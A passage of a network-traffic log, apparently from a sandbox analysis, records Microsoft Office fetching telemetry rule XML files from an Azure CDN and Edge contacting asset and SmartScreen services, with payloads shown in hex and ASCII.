2024-10-28 17:43:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	63534	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 174f78f2-a01e-0032-607a-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174332Z-15b8d89586fvpb59307bn2rcac00000000dg000000001fdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:32 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	63539	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:32 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:32 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174332Z-16849878b78fkwcjkpn19c5dsn00000004a000000000h6qw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:32 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-10-28 17:43:32 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-28 17:43:32 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	63542	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:32 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-17c5cb586f6hn8cl90dxzu28kw00000005dg000000000s9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	63543	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:33 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-16849878b78fssff8btnns3b1400000005kg00000000hkgk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	63544	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 33ade019-101e-0028-30f5-248f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-15b8d89586f8l5961kfst8fpb00000000g1g0000000014yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	63546	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 26e7cda7-e01e-001f-32f8-251633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-15b8d89586ff5l62aha9080wv000000006mg000000007hak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	63545	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 03f0aa2d-d01e-007a-29f2-24f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-15b8d89586fmhkw429ba5n22m800000006sg000000006076 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	63551	4.152.199.46	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoieXdIdW1RcWl4d3ZxbzhnVjRqcUZxQT09IiwgImhhc2giOiIxTUVzdzgybENWcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-28 17:43:33 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-28 17:43:33 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-10-28 17:43:33 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	63553	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
